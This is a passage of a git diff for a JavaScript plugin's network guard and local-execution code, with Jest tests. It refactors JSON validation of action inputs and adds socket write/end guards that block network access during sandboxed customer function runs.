synchronously', async () => { await expect( executeScriptLocally( diff --git a/packages/plugins/apps/src/vite/local-execution.ts b/packages/plugins/apps/src/vite/local-execution.ts index 079895a4a..71b54b175 100644 --- a/packages/plugins/apps/src/vite/local-execution.ts +++ b/packages/plugins/apps/src/vite/local-execution.ts @@ -203,6 +203,23 @@ function validateActionCall( return { inputs, connectionId }; } +/** Shared validate → serialize → runAllowed sequence for both $.Actions entry points — same reasoning as `validateActionCall` above, extended to cover the whole call instead of just the inputs check. */ +function invokeAction( + executeAction: ExecuteAction, + actionId: string, + call: Partial, + allowedConnectionIds: string[], + actionDescription: string, +): Promise { + const { inputs, connectionId } = validateActionCall( + call, + allowedConnectionIds, + actionDescription, + ); + const serializedInputs = serializeActionInputs(inputs, actionDescription); + return runAllowed(() => executeAction(actionId, serializedInputs, connectionId)); +} + /** Serializes local executions — a customer function deleting `globalThis.$` mid-flight would otherwise break `$` access for any other execution concurrently in progress (see `ensureDollarAccessorInstalled`). */ let queueTail: Promise = Promise.resolve(); @@ -231,20 +248,15 @@ function abandonedExecutionError(functionName: string, refusedAction: string): E */ const executionEpoch = createEpochGuard(); -/** JSON round-trips `$.Actions` inputs before `runAllowed`, so a malicious `toJSON()`/getter can't sneak a network call under the trusted action. */ +/** JSON round-trips `$.Actions` inputs before `runAllowed`, so a malicious `toJSON()`/getter can't sneak a network call under the trusted action — uses the same strict validation as a function's return value (see `assertJsonRoundTrippable`), so a Map/Set/NaN/symbol-keyed input fails loudly instead of silently reaching the destination action corrupted. */ function serializeActionInputs( inputs: Record, actionDescription: string, ): Record { - try { - return JSON.parse(JSON.stringify(inputs)); - } catch (err) { - throw new Error( - `Inputs to action ${actionDescription} can't be serialized to JSON: ${ - err instanceof Error ? err.message : String(err) - }`, - ); - } + return assertJsonRoundTrippable(inputs, `Inputs to action ${actionDescription}`) as Record< + string, + unknown + >; } /** Resolves a `$.Actions` path to a callable wrapped in `runAllowed`, the one call exempted from `runBlocked` (see network-guard.ts). */ @@ -269,14 +281,14 @@ function makeActionsProxy( throw new Error(`No arguments provided to action $.Actions.${actionPath}`); } const call: Partial = isIndexableRecord(args[0]) ? args[0] : {}; - const { inputs, connectionId } = validateActionCall( + const fqn = `com.datadoghq.${actionPath}`; + return invokeAction( + executeAction, + fqn, call, allowedConnectionIds, `$.Actions.${actionPath}`, ); - const fqn = `com.datadoghq.${actionPath}`; - const serializedInputs = serializeActionInputs(inputs, `$.Actions.${actionPath}`); - return runAllowed(() => executeAction(fqn, serializedInputs, connectionId)); }, }); } @@ -363,13 +375,13 @@ async function registerActionCatalogOnce(loadModule: LoadModule, timeoutMs: numb throw abandonedExecutionError(dispatch.functionName, `run "${actionId}"`); } const call: Partial = isIndexableRecord(request) ? request : {}; - const { inputs, connectionId } = validateActionCall( + return invokeAction( + dispatch.executeAction, + actionId, call, dispatch.allowedConnectionIds, `"${actionId}"`, ); - const serializedInputs = serializeActionInputs(inputs, `"${actionId}"`); - return runAllowed(() => dispatch.executeAction(actionId, serializedInputs, connectionId)); }); } @@ -466,10 +478,19 @@ function findSymbolKeyedObject(value: unknown, visited: Set): boolean { return Object.values(value).some((child) => findSymbolKeyedObject(child, visited)); } -function assertJsonSerializable(result: unknown, func: BackendFunction): unknown { - if (findSymbolKeyedObject(result, new Set())) { +/** + * Shared by a function's return value and its `$.Actions` call inputs — both are customer-supplied + * values that cross a JSON boundary, so both need the same protection against JSON.stringify's + * silent corruption (Map/Set flattened to `{}`, non-finite numbers to `null`, functions/symbols/ + * `undefined` dropped, symbol-keyed properties omitted with no callback at all) rather than a + * bare `JSON.parse(JSON.stringify(...))` that would let corrupted data pass through unnoticed. + * `subject` names what's being checked (e.g. `` `Local execution of "${func.name}"'s return value` ``) + * for the thrown error message. + */ +function assertJsonRoundTrippable(value: unknown, subject: string): unknown { + if (findSymbolKeyedObject(value, new Set())) { throw new Error( - `Local execution of "${func.name}" returned a value with a Symbol-keyed property, which JSON.stringify silently drops instead of serializing — return a plain JSON-compatible value instead.`, + `${subject} contains a Symbol-keyed property, which JSON.stringify silently drops instead of serializing — use a plain JSON-compatible value instead.`, ); } let serialized: string | undefined; @@ -478,51 +499,58 @@ function assertJsonSerializable(result: unknown, func: BackendFunction): unknown // at any depth. Root is tracked via a one-shot flag, not `key === ''`, since a real // property can itself be named `''`. let isRootCall = true; - serialized = JSON.stringify(result, (key, value) => { + serialized = JSON.stringify(value, (key, childValue) => { const wasRootCall = isRootCall; isRootCall = false; - if (value instanceof Map || value instanceof Set) { + if (childValue instanceof Map || childValue instanceof Set) { throw new UnsupportedJsonValueError( - `Local execution of "${func.name}" returned a ${value.constructor.name}${key ? ` (at "${key}")` : ''}, which JSON.stringify silently flattens to "{}" instead of serializing its entries — return a plain array or object instead.`, + `${subject} contains a ${childValue.constructor.name}${key ? ` (at "${key}")` : ''}, which JSON.stringify silently flattens to "{}" instead of serializing its entries — use a plain array or object instead.`, ); } - if (typeof value === 'number' && !Number.isFinite(value)) { + if (typeof childValue === 'number' && !Number.isFinite(childValue)) { throw new UnsupportedJsonValueError( - `Local execution of "${func.name}" returned ${value}${key ? ` (at "${key}")` : ''}, which JSON.stringify silently converts to "null" instead of throwing — return a finite number instead.`, + `${subject} contains ${childValue}${key ? ` (at "${key}")` : ''}, which JSON.stringify silently converts to "null" instead of throwing — use a finite number instead.`, ); } if ( !wasRootCall && - (typeof value === 'function' || typeof value === 'symbol' || value === undefined) + (typeof childValue === 'function' || + typeof childValue === 'symbol' || + childValue === undefined) ) { throw new UnsupportedJsonValueError( - `Local execution of "${func.name}" returned a ${typeof value} (at "${key}"), which JSON.stringify silently drops instead of serializing — return a plain JSON-compatible value instead.`, + `${subject} contains a ${typeof childValue} (at "${key}"), which JSON.stringify silently drops instead of serializing — use a plain JSON-compatible value instead.`, ); } - return value; + return childValue; }); } catch (err) { if (err instanceof UnsupportedJsonValueError) { throw err; } throw new Error( - `Local execution of "${func.name}" returned a value that can't be serialized to JSON: ${ + `${subject} can't be serialized to JSON: ${ err instanceof Error ? err.message : String(err) }`, ); } if (serialized === undefined) { - if (result !== undefined) { + if (value !== undefined) { throw new Error( - `Local execution of "${func.name}" returned a ${typeof result} value, which JSON.stringify silently drops instead of serializing — return a plain JSON-compatible value instead.`, + `${subject} is a ${typeof value} value, which JSON.stringify silently drops instead of serializing — use a plain JSON-compatible value instead.`, ); } return undefined; } - // Return the parsed-and-reserialized value, not the original — the caller serializes again for the HTTP response, and the original would invoke a custom toJSON() a second time. + // Return the parsed-and-reserialized value, not the original — a caller serializing again + // for the HTTP response (or the executeAction call) would otherwise invoke a custom toJSON() a second time. return JSON.parse(serialized); } +function assertJsonSerializable(result: unknown, func: BackendFunction): unknown { + return assertJsonRoundTrippable(result, `Local execution of "${func.name}"'s return value`); +} + /** * Test-only entry point: exercises `runScriptLocally`'s queue/execution behavior with priming * already done via `primedEntry`. Production always goes through `executeColdActionLocally`, diff --git a/packages/plugins/apps/src/vite/network-guard.test.ts b/packages/plugins/apps/src/vite/network-guard.test.ts index 6f8ba8e2f..75be83f80 100644 --- a/packages/plugins/apps/src/vite/network-guard.test.ts +++ b/packages/plugins/apps/src/vite/network-guard.test.ts @@ -36,6 +36,26 @@ describe('network-guard', () => { ).rejects.toThrow(/Network access is not allowed/); }); + test('Should destroy (not throw synchronously) a net.Socket.write() call made inside fn, since a thrown write() surfaces as an uncaught exception inside code that calls it without a try/catch', async () => { + await runBlocked(async () => { + const socket = new net.Socket(); + const errorPromise = new Promise((resolve) => socket.once('error', resolve)); + expect(() => socket.write('data')).not.toThrow(); + const err = await errorPromise; + expect(err.message).toMatch(/Network access is not allowed/); + }); + }); + + test('Should destroy (not throw synchronously) a net.Socket.end() call made inside fn, same reasoning as write() above', async () => { + await runBlocked(async () => { + const socket = new net.Socket(); + const errorPromise = new Promise((resolve) => socket.once('error', resolve)); + expect(() => socket.end('data')).not.toThrow(); + const err = await errorPromise; + expect(err.message).toMatch(/Network access is not allowed/); + }); + }); + test('Should block a fetch() call made inside fn', async () => { await expect( runBlocked(async () => { @@ -737,6 +757,17 @@ describe('installGuardedProperty resilience', () => { (globalThis as { fetch: typeof fetch }).fetch = originalFetch; } }); + + // CI pipes stdout/stderr into real net.Socket instances, so jest.spyOn(process.stderr, 'write') + // elsewhere in this repo's test suite resolves `write` via our guarded net.Socket.prototype + // accessor — jest-mock's own spyOn/mockRestore redefines the property using the descriptor it + // found, so a non-configurable descriptor there makes Jest's own restore throw, unrelated to + // any dependency this guard exists to stop. + test("Should let Jest's own spyOn/mockRestore redefine a net.Socket instance's write() without throwing", () => { + const socket = new net.Socket(); + const spy = jest.spyOn(socket, 'write').mockImplementation(() => true); + expect(() => spy.mockRestore()).not.toThrow(); + }); }); describe('installGuardedProperty security', () => { @@ -853,3 +884,34 @@ describe('construct-trap newTarget forwarding', () => { expect(instance).toBeInstanceOf(CustomWorker); }); }); + +describe('keep-alive connection reuse', () => { + // A reused keep-alive socket (e.g. Node's default http.globalAgent) never calls + // net.Socket.connect() again for a second request to the same host — connecting outside a + // blocked scope and only writing inside one, as below, reproduces exactly what a real + // keep-alive reuse looks like from the guard's perspective, without needing a real HTTP + // round-trip (which this repo's Jest setup blocks via Nock's disabled net connect). + test('Should still block a write on a socket that was connected before the blocked scope started', async () => { + const server = net.createServer((socket) => socket.on('data', () => undefined)); + await new Promise((resolve) => server.listen(0, resolve)); + const address = server.address(); + const port = typeof address === 'object' && address ? address.port : 0; + + try { + const socket = await new Promise((resolve, reject) => { + const s = net.connect(port, 'localhost'); + s.once('connect', () => resolve(s)); + s.once('error', reject); + }); + + await runBlocked(async () => { + const errorPromise = new Promise((resolve) => socket.once('error', resolve)); + expect(() => socket.write('data')).not.toThrow(); + const err = await errorPromise; + expect(err.message).toMatch(/Network access is not allowed/); + }); + } finally { + server.close(); + } + }); +}); diff --git a/packages/plugins/apps/src/vite/network-guard.ts b/packages/plugins/apps/src/vite/network-guard.ts index 555d0e566..b31852650 100644 --- a/packages/plugins/apps/src/vite/network-guard.ts +++ b/packages/plugins/apps/src/vite/network-guard.ts @@ -59,12 +59,22 @@ const ALREADY_GUARDED = Symbol.for('@dd/apps-plugin/network-guard installed'); // hitting that failure. A real Node process never sets this, so production keeps the full guard. const RUNNING_UNDER_JEST = process.env.JEST_WORKER_ID !== undefined; -// Scoped to `globalThis` only — module objects like `net`/`dgram`/`dns` are plain, un-proxied -// objects under Jest and never hit the issue above. This matters in CI: dd-trace's CI Visibility -// instrumentation patches those same core modules, and a configurable guard there would let it -// substitute its own unguarded function in place of ours. -function shouldAllowConfigurableUnderJest(target: object): boolean { - return RUNNING_UNDER_JEST && target === globalThis; +// Scoped to `globalThis`, plus net.Socket.prototype's write/end specifically — module objects like +// `net`/`dgram`/`dns` otherwise stay non-configurable under Jest too, since a configurable guard +// there would let dd-trace's CI Visibility instrumentation substitute its own unguarded function in +// place of ours. write/end need their own carve-out: in CI, stdout/stderr are piped and become real +// net.Socket instances, and jest-mock's own spyOn/restoreMock (jest.spyOn(process.stderr, 'write'), +// used elsewhere in this repo's test suite) redefines the property using whatever `configurable` +// flag it finds on the descriptor it walked the prototype chain to reach — non-configurable there +// makes Jest's own mock-restore throw, unrelated to any dependency this guard exists to stop. +function shouldAllowConfigurableUnderJest(target: object, prop: string): boolean { + if (!RUNNING_UNDER_JEST) { + return false; + } + return ( + target === globalThis || + (target === net.Socket.prototype && (prop === 'write' || prop === 'end')) + ); } /** @@ -122,7 +132,7 @@ export function installGuardedProperty( const getter = (): T => currentGuard; (getter as unknown as { [ALREADY_GUARDED]: true })[ALREADY_GUARDED] = true; Object.defineProperty(target, prop, { - configurable: shouldAllowConfigurableUnderJest(target), + configurable: shouldAllowConfigurableUnderJest(target, prop), enumerable: true, get: getter, set: (value: T) => { @@ -134,15 +144,36 @@ export function installGuardedProperty( }); } -function guardConnect( - getReal: () => typeof net.Socket.prototype.connect, -): typeof net.Socket.prototype.connect { - return function (this: net.Socket, ...args: unknown[]) { +// `write`/`end` don't reject or throw on failure by contract — real streams signal a refused write +// by erroring/destroying the stream, not throwing synchronously. Throwing here would surface as an +// uncaught exception instead of a catchable error whenever internal Node machinery calls write() +// without its own try/catch (confirmed empirically for http's own request-flush code, the exact +// path a reused keep-alive socket takes) — destroying the socket fails just as loudly without that risk. +function guardSocketWrite boolean>( + getReal: () => F, +): F { + const wrapper = function (this: net.Socket, ...args: unknown[]): boolean { + if (!isCurrentlyBlocked()) { + return (getReal() as unknown as (...a: unknown[]) => boolean).apply(this, args); + } + this.destroy(new Error(NETWORK_BLOCKED_MESSAGE)); + return false; + }; + return wrapper as unknown as F; +} + +// Same reasoning as guardSocketWrite, but `end()` returns `this` (for chaining) rather than a boolean. +function guardSocketEnd net.Socket>( + getReal: () => F, +): F { + const wrapper = function (this: net.Socket, ...args: unknown[]): net.Socket { if (!isCurrentlyBlocked()) { - return getReal().apply(this, args as Parameters); + return (getReal() as unknown as (...a: unknown[]) => net.Socket).apply(this, args); } - throw new Error(NETWORK_BLOCKED_MESSAGE); - } as typeof net.Socket.prototype.connect; + this.destroy(new Error(NETWORK_BLOCKED_MESSAGE)); + return this; + }; + return wrapper as unknown as F; } // Rejects rather than throws synchronously, matching fetch's real contract so callers using `.catch()`/`.rejects` directly still work. @@ -155,74 +186,74 @@ function guardFetch(getReal: () => typeof fetch): typeof fetch { }; } -// Same `this`-forwarding shape as guardConnect, shared by every plain network entry point with no -// special contract to preserve: dgram send/connect/bind, net.Server.listen, and the callback-style -// DNS resolver methods. -function guardNetworkMethod unknown>(getReal: () => F): F { +// Shared `this`-forwarding wrapper shape for every guarded entry point with no special contract +// beyond "call through when unblocked, signal failure when blocked" — parameterized on the blocked +// message and throw-vs-reject, since callback-style APIs (dgram, net.Server.listen, dns.*) must +// throw synchronously while Promise-returning ones (dns.promises.*, subprocess promisify.custom's +// own wrapper) must reject to match their real contract. +function makeGuardWrapper unknown>( + getReal: () => F, + blockedMessage: string, + onBlocked: 'throw' | 'reject', +): F { const wrapper = function (this: unknown, ...args: unknown[]): unknown { if (!isCurrentlyBlocked()) { return (getReal() as unknown as (...a: unknown[]) => unknown).apply(this, args); } - throw new Error(NETWORK_BLOCKED_MESSAGE); + if (onBlocked === 'reject') { + return Promise.reject(new Error(blockedMessage)); + } + throw new Error(blockedMessage); }; return wrapper as unknown as F; } -// Same shape as guardNetworkMethod, but rejects instead of throwing synchronously — dns.promises.* -// always returns a Promise, so a `.catch()`-chaining caller needs a rejection, not a thrown exception. +// dgram send/connect/bind, net.Server.listen, and the callback-style DNS resolver methods. +function guardNetworkMethod unknown>(getReal: () => F): F { + return makeGuardWrapper(getReal, NETWORK_BLOCKED_MESSAGE, 'throw'); +} + +// dns.promises.*/dns.promises.Resolver.prototype.* always return a Promise, so a `.catch()`-chaining +// caller needs a rejection, not a thrown exception. function guardNetworkPromiseMethod Promise>( getReal: () => F, ): F { - const wrapper = function (this: unknown, ...args: unknown[]): unknown { - if (!isCurrentlyBlocked()) { - return (getReal() as unknown as (...a: unknown[]) => unknown).apply(this, args); - } - return Promise.reject(new Error(NETWORK_BLOCKED_MESSAGE)); - }; - return wrapper as unknown as F; + return makeGuardWrapper(getReal, NETWORK_BLOCKED_MESSAGE, 'reject'); } -// `WebSocket` isn't in this project's @types/node surface (no `lib: "dom"`) even though newer Node -// provides it at runtime — `unknown` is the correct escape hatch. A Proxy construct trap, not a -// subclass, so a runtime swap via installGuardedProperty's setter is picked up on the next `new`. -export function guardWebSocket(getReal: () => unknown): unknown { +// Shared by guardWebSocket and guardEventSource, whose real global constructors aren't in this +// project's @types/node surface (no `lib: "dom"`) even though newer Node provides them at runtime — +// `unknown` is the correct escape hatch. A Proxy construct trap, not a subclass, so a runtime swap +// via installGuardedProperty's setter is picked up on the next `new`. Forwards the caller's real +// `newTarget` into Reflect.construct's 3rd arg — a bare `new RealCtor(...args)` would ignore +// subclassing (`class Foo extends WebSocket {}`) and always produce a base instance, breaking it +// process-wide since these wrappers are installed globally. +function guardConstructibleGlobal(getReal: () => unknown): unknown { const real = getReal(); if (real === undefined) { - // This repo's supported Node range spans versions where global WebSocket doesn't exist yet. + // This repo's supported Node range spans versions where these globals don't exist yet. return undefined; } return new Proxy(real as object, { - // Forwards the caller's real `newTarget` into Reflect.construct's 3rd arg — a bare - // `new RealWebSocket(...args)` would ignore subclassing (`class Foo extends WebSocket {}`) - // and always produce a base instance, breaking it process-wide since this wrapper is global. construct(_target, args, newTarget) { if (isCurrentlyBlocked()) { throw new Error(NETWORK_BLOCKED_MESSAGE); } - const RealWebSocket = getReal() as new (...a: unknown[]) => object; - return Reflect.construct(RealWebSocket, args, newTarget); + const RealCtor = getReal() as new (...a: unknown[]) => object; + return Reflect.construct(RealCtor, args, newTarget); }, }); } +export function guardWebSocket(getReal: () => unknown): unknown { + return guardConstructibleGlobal(getReal); +} + // EventSource's Undici-based transport bypasses the patched `net.Socket.connect` the same way -// WebSocket does — same guard shape as guardWebSocket above. Not reachable without -// `--experimental-eventsource` on this repo's Node versions, but guarding it unconditionally means -// it's already correct once a runtime does expose it. +// WebSocket does. Not reachable without `--experimental-eventsource` on this repo's Node versions, +// but guarding it unconditionally means it's already correct once a runtime does expose it. export function guardEventSource(getReal: () => unknown): unknown { - const real = getReal(); - if (real === undefined) { - return undefined; - } - return new Proxy(real as object, { - construct(_target, args, newTarget) { - if (isCurrentlyBlocked()) { - throw new Error(NETWORK_BLOCKED_MESSAGE); - } - const RealEventSource = getReal() as new (...a: unknown[]) => object; - return Reflect.construct(RealEventSource, args, newTarget); - }, - }); + return guardConstructibleGlobal(getReal); } // A worker gets a fresh V8 realm with its own module registry, so nothing inside it inherits this @@ -231,27 +262,23 @@ export function guardEventSource(getReal: () => unknown): unknown { export function guardWorker( getReal: () => typeof worker_threads.Worker, ): typeof worker_threads.Worker { - return new Proxy(getReal(), { - // Forwards newTarget for the same subclassing reason as guardWebSocket's construct trap. + const realWorker = getReal(); + return new Proxy(realWorker, { + // Forwards newTarget for the same subclassing reason as guardConstructibleGlobal's construct trap. construct(_target, args, newTarget) { if (isCurrentlyBlocked()) { throw new Error(WORKER_THREAD_BLOCKED_MESSAGE); } - return Reflect.construct(getReal(), args, newTarget); + const currentRealWorker = getReal(); + return Reflect.construct(currentRealWorker, args, newTarget); }, }); } -// Shared guard logic for every subprocess entry point, since each only differs in its real signature. +// Covers every subprocess entry point, including `ChildProcess.prototype.spawn` (which reads/writes +// fields on `this`, same as the standalone functions' `.apply` forwarding above). function guardSubprocess unknown>(getReal: () => F): F { - // Forwards `this` via `.apply` since `ChildProcess.prototype.spawn` reads/writes fields on it, unlike the standalone functions. - const wrapper = function (this: unknown, ...args: unknown[]): unknown { - if (!isCurrentlyBlocked()) { - return (getReal() as unknown as (...a: unknown[]) => unknown).apply(this, args); - } - throw new Error(SUBPROCESS_BLOCKED_MESSAGE); - }; - return wrapper as unknown as F; + return makeGuardWrapper(getReal, SUBPROCESS_BLOCKED_MESSAGE, 'throw'); } /** @@ -279,7 +306,11 @@ function guardSubprocessWithPromisifyCustom unkn ...args, (error: unknown, stdout: unknown, stderr: unknown) => { if (error) { - reject(Object.assign(error as object, { stdout, stderr })); + const errorWithOutput = Object.assign(error as object, { + stdout, + stderr, + }); + reject(errorWithOutput); } else { resolve({ stdout, stderr }); } @@ -296,7 +327,28 @@ function guardSubprocessWithPromisifyCustom unkn return wrapper; } -installGuardedProperty(net.Socket.prototype, 'connect', guardConnect); +installGuardedProperty( + net.Socket.prototype, + 'connect', + guardNetworkMethod, +); +// A reused, already-connected keep-alive socket (e.g. Node's default http.globalAgent) never calls +// connect() again for a second request to the same host — write()/end() are the choke point every +// request still goes through regardless of connection reuse, so guarding only connect() lets a +// module-load-time "warm-up" request reused later from inside a blocked call bypass the guard +// entirely. `write` isn't Socket's own property (inherited from Writable.prototype), but installing +// the guard directly on Socket.prototype shadows it for every socket without touching Writable +// itself. +installGuardedProperty( + net.Socket.prototype, + 'write', + guardSocketWrite, +); +installGuardedProperty( + net.Socket.prototype, + 'end', + guardSocketEnd, +); installGuardedProperty(globalThis, 'fetch', guardFetch); // dgram (UDP) and the native WebSocket global are separate entry points from fetch/net — // neither goes through net.Socket, so they need their own guards.